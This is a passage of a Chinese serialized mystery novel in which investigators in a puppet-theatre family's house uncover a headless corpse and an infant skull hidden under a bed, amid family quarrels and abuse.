虽不再滚烫,但怎么着也还是冒着热气的茶水,尽数泼洒在凌天青的身上。 “……烫。”凌天青没忍住,摔倒的同时轻呼了一句。 凌天阁压根不管自己孙儿有没有被烫到,一拍桌子拄着拐杖站起身,面色不屑道:“烫点好,看你不长记性,以后还敢再骗人!再说一遍,平日都是谁去仓库取的傀儡戏具?” “是……是父亲。”凌天青低垂着头,坐在地上动也不敢动一下,任由凌天阁指着他的脑袋教训。 见他终于老实承认,不再胡乱说话,凌天阁才冷冷地开口:“愚不可及!你和你爹都是不开窍的东西,现在是连说实话都不会了吗?” 凌天青跪在凌天阁面前,脑袋一直低低的,不敢抬哪怕一分一毫。 见他老老实实不敢动,弯着腰站着极为吃力的老人,继续指责道:“幸好从未准备将牵丝阁传给你们,若是传给了你们父子俩,指不定会将戏班里祸害成什么样子!” 见对方不说话,凌天阁越说越气,一挥手,桌沿旁的碗筷全部被扫落到凌天青的身上。 散落的汤汤水水,将他的褂衫洇成了暗色。仿若没有情绪,满身油渍的人即便被如此对待,也没有任何动作,只是垂下的睫毛轻动一瞬。 “若是再骗人,你和你父亲就滚出凌家,听见了没有?”拐杖重重砸在凌天青身前,伴随着凌天阁满是怒气的言语。 “对不起爷爷,天青记住了。”低若蚊吟的声音,从跪着的人嘴里发出。 凌天青的嗓子喑哑,不似凌小宝那样清亮,再加上此时说话声音又低,凌天阁一时没听清他回答了什么。 本就生气的他,顿时怒火中烧,举起手中的拐杖又朝凌天青的身上招呼过去。 只一下,凌天青原本跪着直直的瘦长身体,瞬间被打偏。 他不敢擅自动作,只敢在凌天阁的拐杖再次砸下时,大着胆子用双手截住,然后哑着声音,大着嗓门道:“我记住了爷爷,呜……天青记住了。” 见孙儿认错,凌天阁才一把扯回还握在对方手中的拐杖,重重“哼”了一声,转身拄着拐杖便离开了此处。 而他身后的凌天青,还一直斜着身子跪在那里。 这个动作长久保持住会很累,但垂着眼不知在想什么的凌天青,在过了好久后都没有再动一下。 骄阳透过他身体斜后方的窗,慢慢地渗透进来,有一缕正好打在他高挺的鼻梁上。 在感觉到温暖的光线后,从始至终保持奇怪姿势的男子,眼睫再次动了动。 他没有因此将头抬起来,而是藏在阴影下的嘴唇微微勾了勾,随后发出一声喑哑到几乎听不清的笑。 门外有脚步声传来,好像是几名下人准备进来收拾桌子。 他不知为何,并没有立即起身,就好似并不在意被下人看见自己这样狼狈的样子。 几名来收拾的下人,本是嬉笑着走进门,在无意间瞧见跪在桌旁的凌天青后瞬间噤声,然后轻手轻脚地退了出去。 凌天青这时才慢慢抬起了头,阴冷地盯着下人离去的那扇门,眼底似有浓雾。 在他抬起眼的同时,有一名下人正躲在门外,偷偷朝屋里瞧了一眼。 谁知就偷看了一眼,就被里面跪着的人,眼中饱含的冷意给吓得呆住,不顾身边同伴的轻喊,转身低垂着头就要往远处走去。 凌天青唇边的笑保持的太久,乍一眼看过去,那笑容和他唇边的纹路,竟有些像昨晚他手中拿着的那个傀儡人偶。 终于,在左侧面容抽动一下后,他终于慢慢地站起了身,然后顺势坐回餐桌前。 不顾自己用饭的碗筷早已不在桌上,凌天青随手拿着桌上不知是谁吃剩下的碗筷,随意夹了几道菜,然后无声地、慢悠悠地就这么吃了起来。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十七章 傀儡婴戏图 凌倩倩房中。 凌雪霜将冷萤几人带到后,便声称有事离开了。 房中的情况,确实如凌雪霜所说,早已被翻找得差不多。 凌倩倩的房间,同一般姑娘家的房间不一样,几人一走进去,里面便有一股木香味传来。 房中间摆着一张宽大的木桌,上面铺满着各种用具,有冷萤熟悉的刻刀、线锯,还有不熟悉的各种木料和彩盒。 旁边散落着一些未完成的傀儡戏具,戏具旁放着一本书,打开的书页上,正巧是一幅画。 画中描绘了四个小孩在模仿傀儡戏的场景。 其中一个孩子在幕下用悬丝操纵着傀儡,前面有两名幼童正高兴地,坐姿格外放松看着表演。 两名幼童旁还有一个孩子,他边看边拿着鼓槌作势敲着,似乎正在帮那个表演的小孩奏乐。 画中的孩子们手中的傀儡木偶形象,分别是钟馗、红拂女、李靖和虬髯客,戏台是孩子们用一张放倒的桌案代替的,看着桌案旁边的帷幔,这“戏台”应是被用心布置过的。 姜小四拿起桌上的书仔细瞧着,好似想从里面找出什么不对之处。 “这一幅画,叫‘傀儡婴戏图’。”冷萤见他看了许久,便走过来,告诉他这幅画的名字。 姜小四指了指这里面的其中一个小孩,抬头看向她。 冷萤问道:“你是想问,为何这小孩会傀儡戏?” 姜小四点了点头。 她想了想,猜测道:“或许,是这孩子出生在傀儡世家,从小耳濡目染所以便会了吧?” 对于她的解释,姜小四摇了摇头。 他指着那幅图,用手圈了圈,然后给冷萤摆出四根手指。 “他是告诉你,这幅画里面也是四个孩子,会不会有什么重要的线索。”方骅走过来,同她解释道。 姜小四再次点了点头。 冷萤这才懂了他的意思,开口问道:“你的意思是,画这样摆着,或许是有原因的?” 对方朝她微微一笑,便将那本书塞进她的手里,转过身又去忙了。 珊瑚凑过来,看了眼她手中的书,很是不解道:“这不是很正常吗?一个表演,一个奏乐,两个喝彩。哪有什么不同的,反正我是没瞧出来。” 姜小四的提醒,倒是让冷萤对那幅画格外多瞧了几眼。 但以他们目前掌握的线索来看,确实发现不了这幅画有何不同之处。为避免有遗漏,她只能悄悄将这本书递给方骅,让他先收好。 “我总觉得,这房间里的摆设未免有些太刻意了。”在将凌倩倩的房间大致扫过一眼后,冷萤将心中的疑惑说出。 “怎么说?”方骅问道。 苦恼地摇了摇头,冷萤目前也无法准确地说出她的感觉。只是…… 她走到凌倩倩的衣柜旁,打开看了眼里面摆放得有些凌乱的衣物,又走到旁边的梳妆台前,看着上面散落着的胭脂水粉。 其中有一盒胭脂,在打开后并未盖上。胭脂盒旁放着粉刷,粉刷上还沾着些许粉状物。想来是女子爱俏,正准备…… 等等! 想到这里,她猛地转身看向方骅。 对方被她突来的行为弄得一愣,急忙问道:“发现什么了吗?” 冷萤问他:“方才凌天青是不是说,昨日凌倩倩说身体不舒服,在日落前便回房间休息了?” 对方点了点头,回道:“你记得没错。” 那这梳妆台上,明显是女子准备打扮一番,却突然好似被打断动作的摆放,又是怎么一回事? “如果没有准备出门,又为何要妆粉?”她喃喃道。 方骅不懂这些,只好问道:“会不会是白日用完后,便丢在这里忘记收拾了。” 珊瑚这时凑了过来,她没关注两人之前的对话,只听见了方骅问的这句话,便自然答道:“这粉刷中间的色泽,明显就是刚蘸取脂粉后,还没来得及用便放下了。瞧着这胭脂挺贵的,凌家这么有钱吗?” “也许不是有钱……” “那是什么?这取了粉又不用,胭脂盒子也不关上,难道不是家里太有钱的缘故。”珊瑚很是不明白这种行为,有些心疼那好颜色的妆粉。 “还有一个原因,”冷萤抬起眼看向他们,开口道:“她正准备妆粉时,有人走了进来,打断了她的动作。” 珊瑚听罢,皱眉道:“等那人走后,她为啥不继续呢?” “万一,她不能继续了呢?”方骅好似想明白了什么,脸色一变说道。 珊瑚没听懂,朝冷萤问道:“他什么意思?” 见她不明白,冷萤耐心地解释道:“他的意思是,有可能那个人进来后,便直接杀死了凌倩倩。凌倩倩死在了自己房间,压根没有妆好粉,再走出门的机会了。” 她语气平静,仿佛只是在叙述一件事情。 但听到这句话的珊瑚和姜小四,却大为吃惊。 “凌倩倩死在了自己房中?”珊瑚瞪大双眼,夸张地重复一句,随后开始四处查看。 她企图找出凌倩倩死在这里的痕迹,却没有发现一丁点不对。 比如说……一摊血迹什么的。 (这个房间里,是不是也太干净了?) 姜小四走回来,对着他们比画了一下。 冷萤点头:“这就是我觉得刻意的地方。”说完,她看向方骅,想寻求他的认同。 方骅鹰隼一样的目光,在冷萤说出方才那句猜测后,便一刻不停在房间内每个物品上扫过。 房间内的所有物品,好似原本就该摆在那里,但不管怎样,他们瞧着就是觉得非常突兀。 突然,他的目光停在了凌倩倩的床榻前,眼珠子半晌都没动一下。 珊瑚见方骅这怪吓人的模样,大着胆子抬起手在他眼前晃了晃。 原本以为,对方会甩给她一句冷言冷语。 没承想,方骅在收回目光后,开口就朝他们问道:“你们看凌倩倩的床榻下方,脚踏那处……是不是有一道银光?” 顺着他手指的方向,珊瑚一眼就瞧见了那道银光是什么,鄙视地看向他道:“年纪大了眼神果然不好,那道银光不就和我用的弦丝一模一……” 她的话还未说完,所有人的表情全都变了。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十八章 床下的尸体 床板处落下来的那一截弦丝,如果不是有人特地去看,根本不可能会发现端倪。 那根泛着冷意的弦线,尽头没入到凌倩倩的床板下,引出在场几人的无尽遐想。 顷刻间,所有人都默契地不再讲话,迈着几乎无声的步伐,朝那处慢慢移动。 凌倩倩床上收拾得很整洁,并不像是有人休息过的样子。只是在整个床铺中间有一长条的折痕,好像是将床板竖起对折过一样。 方骅走到空无一人的床前,趁着几个人不注意时,将那半截床板掀了起来。 床板下,放着一只比床铺矮上半寸的一人长的樟木箱。 他们看见的那根弦丝,便是自樟木箱里牵引出的。 其实床下放有箱子,真没什么奇怪之处。女儿家总会有一些贵重的物品需要收纳,放在床下是最安全且隐蔽的。 只是…… 这樟木箱子太大了,大到他们几人一眼就能瞧出其中的不寻常。 床板下的横梁将樟木箱盖挡住,他们没办法从上方揭开。 方骅弯着腰捣鼓片刻,整个人在停顿一下后,用单手使劲一推,整个箱盖便顺着朝后滑去。 随着箱盖打开,里面一颗婴孩的头骨和一具没有头颅的女子尸身,彻底暴露在几人视线中。 珊瑚见状,忙用手捂住自己的嘴巴,差点因为箱子里血腥的一幕而尖叫出声。 冷萤则是被吓退好几步,姜小四也不忍地转过眼,不想看到这残忍的画面。 只有方骅,他自瞧见樟木箱里出现的头骨与尸体后,眼睛便没有离开过那里半分。 他起初,以为那弦线是凌倩倩在制作悬丝傀儡时,不小心留在了衣服上。在她被杀后,便随着她一起进了这只樟木箱里。 但在仔细观察后,他才发现…… 弦丝,是附在那颗小小的头骨上的。 “会不会……当时玫儿为了方便,选择用韧性较强的弦丝把孩子绑在身上。在孩子不小心摔落后,这根弦丝便跟着入了土?”方骅猜测道。 冷萤在他提出疑问的同时,大着胆子走到床前,逼着自己朝箱子里看去。 “如果弦丝那时就在孩子的身上,入殓时家人应该会发现。”冷萤想了想,回答他。 珊瑚听到两人的对话,半眯着眼眸朝里面看了眼。 在瞧见那根弦丝时,她斩钉截铁道:“应该是最近放在头骨上的,从弦丝的韧度和色泽上不难看出。” 有了她的解答,另外几人自然不再纠结。目光便慢慢地,移至一旁蜷曲着的无头尸身上。 尸体身上穿着的,是一件粉衣戏服。他们虽不大记得,昨夜悬丝傀儡粉衣戏服上的图案和花纹,与尸身上的这件是否一模一样。 但不论如何,这一切是否都太过巧合了? 整件戏服的上半身,全都被血染成了深褐色,瞧着很是触目惊心。脚上那双粉色的绣花鞋,鞋面上也溅落着大小不一的血滴。 尸体的双手放在胸前,被一根绳子绑着。脖子断口处整齐,不知是被什么利刃所割开。 “叫人来吧?”冷萤咬了咬唇,轻声开口道。 珊瑚点头,开口道:“我去。” 方骅凝神许久,才对冷萤道:“尸体鞋面有被溅到的血滴,身上的衣服也被鲜血浸透,说明当时有大量鲜血流出。凶手如果是在这间房里杀害的凌倩倩,房间里怎会一点血迹都没有?” 他的分析,冷萤觉得很有道理。 但是…… 如若凶手不是在凌倩倩房里下的手,又会在哪里呢? 凌天青说过,他差人来叫过凌倩倩几次。如果当时,凌倩倩出了这间房,必定会有人发现,并告知凌天青。 难道,凶手是等凌天青他们走后,才行的凶? 可若是等他们走后,才将凌倩倩带到某个地方动手。凶手真能在这么短的时辰里处理好一切,并将凌倩倩的头颅带走,放进戏服里吗? 两人思考间,珊瑚和姜小四已经将凌家人带了过来。 首先跌跌撞撞跑进房的,便是凌倩倩的父母,凌池与林殊心。 方骅与冷萤自动让到一旁。 林殊心满脸憔悴,身上还穿着昨晚的衣裳,与凌池互相搀扶着,一同冲到床前。 “倩倩啊……” 在大叫一声过后,便是妇人凄厉地大哭与男人控制不住的低泣。 冷萤不忍地转过眼,看见凌雪霜正搀扶着的凌天阁走进来。 他们身后,跟着凌云海一家。大嫂万归宁快速走上前,扶着林殊心的肩膀,陪着对方一同掉泪。 凌雪霜见凌天阁脸色太难看,将他扶到一旁坐下。凌天阁不愿,想上前看一眼被制止。怕他看见箱子里的惨状后,旧病复发晕在了这里。 冷萤本是有些问题想问凌雪霜的,见此情形,最后还是停在了原地。 她收回视线时,无意间看见了站在门口的凌天青。 方才一起吃饭时,对方似乎还是干净清爽的谦谦君子模样,怎的还未过多久,衣裳上便多了好几块污渍。 原本面无表情站在门口,不准备往里走的凌天青,在察觉到冷萤的目光落在自己身上后,面色即刻变得格外悲伤,踉跄着身子走到床前,瞬间淌下了两道泪。 冷萤见状,若无其事地转回眼,心里却觉着对方的表现着实有些夸张过头了。 而凌云海,正紧锁着眉安慰凌池,目光却一次都没往樟木箱子里瞧过。 老大一家三人,只有万归宁看起来是真的在替老三一家伤心。 她任由林殊心无力地靠在自己肩膀上,嘴里小声说着什么安慰对方。 林殊心从乍见凌倩倩尸身的巨大打击中,慢慢恢复了一丝神智后,站起身的第一件事,就是拿起桌上还未成形的傀儡人偶,朝凌云海与凌池的身上砸去。 “你们两兄弟,都是杀千刀的!要不是你们十几年前做下那黑心肝的事,倩倩又怎么会死?”儿子刚传来了坏消息,女儿又在家中惨死,让一下失去两个孩子的母亲,彻底失去了理智。 凌云海替凌池挡了一下,看着心如死灰的三弟,他摆出大哥的架子,对林殊心道:“说好不提这事的,阿爹和二……二妹都还在这里,三弟妹你可不要乱讲些有的没的。” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十九章 内讧 林殊心见他一副事不关己的模样,气急攻心之下口不择言道:“大哥,你如今孩子在身边好好的,自然可以说些风凉话。你就不怕……” “住口!”她后面的话,被凌天阁的呵斥声盖住。 见所有人都看向自己,已经失去所有希望的林殊心,早已没了任何顾忌。 她一把甩开万归宁的手,自己扶着床沿站起身,连哭带笑道:“这都是因果报应,哈哈哈……因果报应啊。这是你们一起做下的事情,没有一个人可以逃得掉的。” 她心里紧绷的弦,在看见女儿无首的尸身后,彻底断裂。 见凌云海不再理会自己,她摇摇晃晃地走到凌天阁面前,居高临下地看着坐在桌旁的老人,冷笑一声道:“公公,瞧您的几名好儿女,多听您的话啊。从来都是您说什么,他们便做什么……” 凌天阁见她已经开始疯疯癫癫,闭起双眼不想看她。 倒是凌雪霜,担心地叫了一声:“殊心……” 林殊心好似没听见一般,也不管凌天阁看不看自己,继续道:“您的孩子,都按着你的想法,将该做的、不该做的事情全都做了。如今有了报应,您又该当如何呢?” 在她说出这句话后,同样失去女儿,一直沉浸在悲伤中的凌池,终于有了反应。 他扒开凌云海,快步走过来一把拉回林殊心,小声道:“有什么话回去说,还有外人在。” “我怕什么?”林殊心见他这副模样,双眼瞬间染上恨意,大声重复了一句:“我什么都没有了,我怕什么啊……你告诉我!” 凌池自然无话可说,但也不能任由林殊心说出不该说的话。 他只好虚弱地转过头,对着凌云海道:“麻烦大哥帮我处理一下,我先将殊心送回房间。她累了……需要好好休息。” 凌云海点头:“交给我,你们先回去。” 在交代好后,凌池对凌天阁说了声:“阿爹,我先带殊心回……” “我不回去!”林殊心挣脱凌池控制她的手,一巴掌扇在他的脸上,大吼道:“你的女儿死了,凌池!你到底有没有心啊?你从小捧在手心的女儿,被你和你的家人害死了!” “我……” 凌池还没来得及回答,林殊心又一巴掌打过去,继续吼道:“你这个没用的东西,女儿死了屁都不敢放一个。你难道……一点都不恨吗?” 她的质问,一句一句意有所指,在场却没一个人敢开口斥责。 见凌家内部闹成这个样子,冷萤几人待在这里也不太好,几人互相使了个眼色,正准备趁凌家人不注意,偷偷走出去时。 “啪—” 响亮的一巴掌,打在了林殊心的脸上。 被打的妇人抚着脸,不可思议地看着眼前的男人,凄厉地问道:“你居然敢打我?凌池……你居然敢打我?” 一直任由她发泄的男人,慌张地看着自己的手,嘴里喃喃道:“不……是你说得太过分了,我不想打你的……殊心。” 正在不停忏悔的男人,完全没发现自己妻子眼中的决绝。他只是不停地,想找一个借口来解释自己方才的行为,却连一句话都说不全。 妇人最后看了他一眼,转头就准备往身后的柱子上撞去。 “殊心!” 男人想拦早已来不及,只能眼睁睁地看着自己的妻子一头撞过去。 “不要!” 凌雪霜离林殊心最近,她立刻以最快的速度想抓住对方,无奈对方态度强硬,她只来得及抓住一片衣角。 银白色的弦丝,如透明的软剑,在所有人还没来得及反应过来时,卷起林殊心的身体,然后将她绑在了柱子上。 “干什么,放开我!”林殊心求死不成,心不甘地挣扎着。 凌雪霜立即看向珊瑚,见小姑娘若无其事地收回手,眸里闪过一感激,远远道:“多谢珊瑚姑娘出手相助。” 珊瑚尴尬地撇了撇嘴,嘟囔一句:“我只是看不惯有人死在我面前。” 看见凌池也准备行礼,她手一挡冷声道:“别谢我啊,顺手的事。” “你们凌家人会不得好死的,哈哈哈哈哈哈……”林殊心已经彻底崩溃。 凌天阁不想再纵容,他淡漠的目光施压般朝凌池看去,问道:“你究竟对殊心说了些什么?” 凌池一怔,顾不得林殊心还在不停撞头,连忙转过身朝凌天阁解释:“阿爹,我什么都没说。是……”他心虚的目光,瞧了眼凌天阁身边的凌雪霜。 见对方正冷静地看着自己,他话锋一转,小心翼翼道:“她……殊心她,半夜梦见过一些可怕的东西,被吓……吓得有些神志不清了。” “是吗?”凌天阁知道他没说实话,但也知道他不说的原因,“那一会儿找个人来帮殊心瞧瞧,总这样说胡话也不行。” 凌池点头,表示明白。 凌天阁看了眼床榻处,意有所指道:“倩倩惨死,殊心作为母亲,铁定会伤心到失去理智。你最近好好陪着她,便不要再出门了。” “是。” 他说得隐晦,但众人似乎都听懂了。 “我身体有些不舒服,雪霜送我回去吧。” 说完,他最后朝那箱子看了一眼,正准备离开时,门外传来了一阵细碎的脚步声。 “阿爹……阿爹我来看宝贝了……”欢快的男声,打破了一室的沉重。 如雀鸟般的男人冲进了凌倩倩房间,他的身后,还跟着一位冷萤未曾见过的男人。 所有人都没有防备,眼睁睁地看着凌小宝几步跑至床榻旁,朝里面看了一眼。 下一瞬…… 刺耳的尖叫声,响彻整间房屋的上空。 “快,将小宝带出去。” 看见自己的宝贝儿子崩溃,凌天阁再也坐不住,指挥离他最近的凌家两兄弟,将自己的弟弟带出去。 请神容易、送神难。两兄弟不敢对凌小宝动粗,只能耐心地用言语劝着。 没承想,他们劝一句,凌小宝就尖叫一声,中间还夹杂着“宝宝……宝宝……”的胡乱喊叫。 就在大家一筹莫展时,方才跟在凌小宝身后的男人走过来,冷静地对两兄弟道:“我来试试吧。” 凌池抬头看向来人,惊讶道:“炎心,你回来了?” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十章 樊炎心 凌雪霜的相公樊炎心回来了。 凌池同他打招呼时,他回应对方的同时,轻轻拍了拍凌小宝的脑袋。 或许是他身上有别于凌家儿郎的沉稳气质,抑或是他平和的外表,总之被他轻拍一下后,凌小宝的哭闹声消停了不少。 男人见状,对凌池身后的凌云海也点头打了声招呼,才将目光转向准备离开的凌天阁,恭敬道:“事情办得很顺利,所以回来得早一些。” “好,辛苦了!”凌天阁好似对这个入赘的女婿很是满意,听了他的解释后,止不住地点头回应。 微垂着头,看似在与凌天阁对话的男人,视线慢慢不受控制地看向凌雪霜,随后旁若无人地问了句:“怎么脸色这样差?” 凌雪霜见他不分场合的言语,若有若无地轻蹙眉头,淡淡回道:“没事。我先扶阿爹回去,小宝就拜托你照顾了。” 男人毫不在意她淡漠的态度,好似不管凌雪霜说什么,对他都很是受用。 凌家人都是见怪不怪,应是早就习惯了凌雪霜夫妇的腻歪。 凌天阁拍了拍樊炎心的肩膀,同凌雪霜离开了凌倩倩的房间。与他们一同离开的,还有凌池夫妇。 现下,房里便剩下了凌云海一家,樊炎心和凌小宝。 当然,还有偷溜未成功的冷萤几人。 “这几位是?” 樊炎心安抚好凌小宝,拿了块木头给他,让他坐在桌旁刻着玩,抬头就看见了正准备出门的冷萤几人。 几人只好停下脚步,被迫上前交谈一番。 “既是阿爹的贵客,怎么会出现在倩倩房里?”樊炎心有些防备地问道。 对方的态度也情有可原,人刚回来便发现家人被杀,又突然在家中瞧见几个陌生人,心中有所怀疑也实属正常。 凌云海忙上前向他解释,说是冷萤几人发现的倩倩的尸体,樊炎心的表情才稍稍好转。 他一回家就面对如此惨事,自是无暇顾及其他。凌云海正在同他讲,昨夜是如何发现凌倩倩的头颅,今日又是怎样发现她的尸身。 自樊炎心出现后,凌家每个人对他的态度,不难猜出他们非常看重这个上门女婿。 这时,万归宁走过来,对几人道:“我已让下人去衙门叫人了,一会儿便有人过来。” 她的意思大家都明白,这里目前不用留人,可自行散了。 “万娘子,那我们先回房了。”冷萤识趣地上前告辞。 说完,几人转身离开。 谁知还没来得及走出,一直坐在桌边玩木头的凌小宝突然出声:“阿姐,阿姐不要生小宝的气了……”说完,举起手中雕刻的木偶对着珊瑚,“看,我雕的像不像阿姐?” 众人停下动作,全都看了过去。 冷萤几人更是愣在原地,全都是一副不可置信的模样。 就见凌小宝手中拿着一尊刻好的木偶,木偶的面部栩栩如生,瞧着俨然是一尊缩小版的珊瑚。 若不是方才,冷萤瞧见樊炎心丢给凌小宝的是一块未经任何雕饰的木头。铁定不会相信,凌小宝能在几人谈话间,用这样快的速度雕刻出一尊活灵现的傀儡木偶。 凌家人倒是没有像他们几个这样吃惊,樊炎心想顺势拿过凌小宝手中的木偶,却被对方拒绝。 他似是没料到凌小宝会不给他,表情愣了一瞬。 凌小宝高举着木偶朝珊瑚跑过来,甜腻道:“阿姐,看像不像你……” 他献宝似的将木偶举到珊瑚眼前,眨着双眼黏糊地讨好:“……阿姐可以表扬一下小宝吗?” 珊瑚一把夺过他手中的木偶,用粗声粗气掩饰自己语气里的惊艳:“谁让你雕我了,给我……不准捧着像我的木偶到处傻笑。” “喔……”凌小宝委屈地应声,然后又抬起一双蒙眬的眼睛,问道:“那还生气吗?” “不要乱碰我,就不生气。”珊瑚再次回答时,语气平和不少。 樊炎心走上前,对冷萤几人道:“抱歉,小宝天性单纯,不会有别的想法。”在几人表示明白后,他转过头对凌小宝道:“走,姐夫送你回去。” “不!”凌小宝一听,顿时不乐意了。 刚答应过珊瑚不再乱碰她的人,一把抓过她的胳膊。凌小宝再心智不全,毕竟也是成年男子的力量。 在众人还未反应过来时,他已经将珊瑚扯到床前,指着里面的婴孩头颅,“哇”得一声哭了出来,边哭边对珊瑚说道:“阿姐……是阿姐的孩子,呜呜呜……变成木头了,哇啊……” 一句话,让在场所有人都变了脸色! 樊炎心更是上前一步,捂住凌小宝的嘴巴,表情难得有些慌张地对珊瑚道:“姑娘对不住,他偶尔会发病。我现下送他回房,各位请便!” 珊瑚也好似被凌小宝的话吓住了,大力甩开对方的手,胡乱点了点头走回冷萤身边。 几人走出凌倩倩的房间后,脑袋还回荡着凌小宝方才说的话。 “这婴孩头骨色泽,不像是死了十几年的样子,凌小宝为何突然这样说?”冷萤搞不明白了。 方骅则是首先问珊瑚:“你以前见过凌小宝?” “见个屁!”被凌小宝一番举动搞得莫名其妙的珊瑚,心里正有火没处发,正好有个不会修饰说话方式的人找上门,她顿时像找到了靶子,凶巴巴道:“傻子本姑娘就见过一个,远在天边、近在眼前。” 她话里有话,姜小四在一旁没忍住难得笑出了声,又被方骅一眼瞪了回去。 被瞪的姜小四,委屈巴巴地走到冷萤面前,用眼神无声地告状。 对于这两人相处模式早已习惯的冷萤,秉持着只要他们不打起来,她就当作什么也没听见处理。 她试图拉回正题,开口:“话说回来,凌小宝为何会知道,凌雪霜曾经有过一个孩子?” “也许偷听过他两位哥哥聊天?”珊瑚猜测。 方骅回道:“凌天阁严令禁止,谁又敢在凌家提起这个话题?” 他一句话,将珊瑚怼得无话可说,怒道:“那你说是什么原因?” “会不会……”冷萤猜测:“他也曾经见过那场面?” 几人都不懂她所说的“场面”是什么意思。 珊瑚问道:“且不说,本就是有人装神弄鬼。即便真有鬼,哪只鬼会半夜和人谈心,还说这许多啊?” “谁知道,”冷萤神秘一笑:“有可能…这凌家每个人遇见的‘鬼’,都不一样呢。” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十一章 发糖果 珊瑚想了片刻,觉得自己不太懂冷萤的意思。 见她小脸都皱成了苦瓜,冷萤不得不再次解释道:“众所周知,现在的凌家藏了一个,企图将整个凌家搅得天翻地覆的人。” 珊瑚点头,这个她倒是知道。 见她还是傻傻的样子,冷萤忍俊不禁地晃了晃对方头上的绒球,继续道:“你有没有想过,在凌家……或许不止一个人有这样的心思。” “冷姐姐的意思是……”珊瑚好似懂了,又好似没懂。 “你的意思是,杀害凌倩倩的凶手与晚上出来装鬼的,其实不是一伙人?”方骅顿时明白了。 冷萤点头。 但珊瑚还是不明白。 凌家人口本就不多,其中还有一个先天不足的凌小宝,就这样的情况,还能冒出好几个起异心的? 方骅倒是有些赞同冷萤的想法,说道:“其实我隐约也有这种感觉。毕竟凶手杀人的手法极其残忍,既然都下得了如此狠手,为何还要神神道道地搞这些?” “那我们接下来怎么做?”珊瑚懒得再猜,直接问如何行动。 冷萤笑笑,回她:“我们什么都不用做。” 在旁听了好一会儿的姜小四不明白,用眼神询问:为什么? “因为“它”会自己送上门。”方骅冷哼一声,回道。 晚霞淡去,浓郁的木樨香飘进房中。冷萤与珊瑚住的客房前,种着一棵木樨树,不论是白日还是夜晚,都香气扑鼻。 冷萤在桌案前忙碌,珊瑚窝在一旁陪着她。 低头久了,脖子有些酸痛。冷萤放下手中的物件儿,抬头拍了拍有些发酸的肩膀,瞧见了坐在桌案前学艺的姜小四,和坐在不远处正喝着茶的方骅。 望了眼窗外逐渐暗下的天色,她垂眼问交叠双臂,坐得规规整整的姜小四:“天色已晚,你俩还不回去休息?” 对方乖巧地摇了摇头,双眼就没离开过冷萤的手。 冷萤见状,便将目光移向他身后一脸惬意的方骅,无声询问。 对方好似不懂她的意思,默默拿起茶水,又喝了一口。 “冷姐姐不用管他,他估计等这机会好久了。你继续嘛……”珊瑚看入了神,不想冷萤手中的动作停下。 好吧…… 这两个家伙用过晚饭后,就趁凌家人不注意偷溜到她与珊瑚的房中,美其名曰要保护她们。 以冷萤的经验,她觉得珊瑚一个人其实就够了。而且方才他们都只是猜测,今夜还会不会遇到昨夜那样的事,还说不准呢。 不至于为了一个猜想,大家你看着我、我看着你,就这样干坐一宿吧? 说话间,冷萤手中的发簪已经做得差不多了。 她萤白的手,拿起镶嵌好的木樨发簪晃了晃。这次的发簪,为了配合珊瑚活泼的性格,她做了些小巧思。 她向珊瑚借来弦丝,将多根弦丝合在一起拧成木樨花枝,然后将螺钿雕刻成的淡黄色木樨花捏在枝头。 行走时,发间的木樨花便会一晃一晃的,让簪上这支发簪的人,更显娇俏可爱了。 对着烛光瞧了好几眼,很是满意的冷萤,将手中的木樨发簪递给了珊瑚。 “送给我的?”珊瑚惊喜地接过,二话不说就想往发间簪去。 冷萤点头,拿来手持镜递给她,又接过她手中的发簪替她簪上。 珊瑚看着镜中淡黄色的小花,在她的发间一颤一晃,甚是开心地不停晃动着脑袋,双眼亮亮地对着冷萤甜甜道:“谢谢冷姐姐!” “乖,不用谢。” 冷萤正垂首收拾工具,一股强大的冷气,自她前方传来。 昏黄的烛光下,她慢慢地抬起头。 身边的珊瑚还在臭美,而抬起头的冷萤,立刻感到有两股不同程度的怨气袭来。 她忙碌的手倏然一抖,突然想起了什么,以极快的速度自一旁的匣子里拿出两样物件儿,看向怨念深重的两人。 “也不知道你们喜……” 她话还未说完,姜小四瞬间直起身子,伸出双手急切地点了点头。 “喜欢。”比他更快的,是上一刻还坐在桌旁的方骅。 高大身影强压下来,让姜小四原本直挺的身子,默默往回缩了缩。 冷萤感觉,自己好像在带三个孩子。这时将手中的东西递给他们,与给孩子们发糖果没什么两样。 打磨到发亮的扇坠,表面镶嵌着墨色的兰花,刚好可以配方骅那把百花千鸟折扇。 柔蓝色的额饰,中间镶嵌着忍冬花枝,忍冬花枝的下方,垂着一颗极小的红玉吊坠,将姜小四白发白瞳,映衬得更加神秘。 “多谢。”方骅接过扇坠,满意地走回去继续喝茶。 姜小四则是小心翼翼地接过冷萤手中的额饰,给自己戴上后,便不停看珊瑚手中的铜镜。 珊瑚感觉到他强烈地渴望,才极为不情不愿地递过去。 姜小四只对着铜镜看了一眼,便害羞地不肯再看。脑袋在垂了许久后,伸手偷偷递给冷萤一个小东西。 冷萤接过一瞧,是他不知何时,偷偷用螺钿镶嵌了一条小蛇。 这条小蛇与上次他送的瞧起来差不多,只是蛇身上的鳞片是用螺钿镶嵌的。 看样子,应是他平日拿来练手的。 “手艺不错。”冷萤用心赞道。 这下,本就不敢抬头的姜小四,瞬间害羞到脖颈处都变成了红色。 (送你……) 洒下两个字后,他“啪嗒啪嗒”跑到方骅旁边坐下,给自己灌了一大杯茶。 方骅静静坐在那里,手里摩挲着一块玉质物件儿。 他看似在喝茶,目光却不停地往冷萤身上飘去,又在对方问询似的瞧过来后,收回了目光。 一下子,房间里竟突然安静了下来。 冷萤见那个默默瞧着自己的男人,半天没憋出一句话,便又开始低头收拾起工具。 等忙到差不多后,已到了后半夜。 冷萤在方骅的示意下,吹灭了桌前与床头的烛火。 在烛火熄灭的瞬间,方骅与姜小四的身影消失在衣柜后方。冷萤与珊瑚,则是默默坐在原地不动。 就在他们以为,那个装神弄鬼之人,今日不会再来时。 突然听见,这间房的房顶上,发出了极细微的响动声…… 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十二章 吊下来 即便是轻微的响动,在寂静的夜里,他们也能听得清清楚楚。 冷萤抬头瞧着屋顶,发现那人将屋顶打开一道小口,导致月色像一缕银光透进屋内后,突然一下子又没了动静。 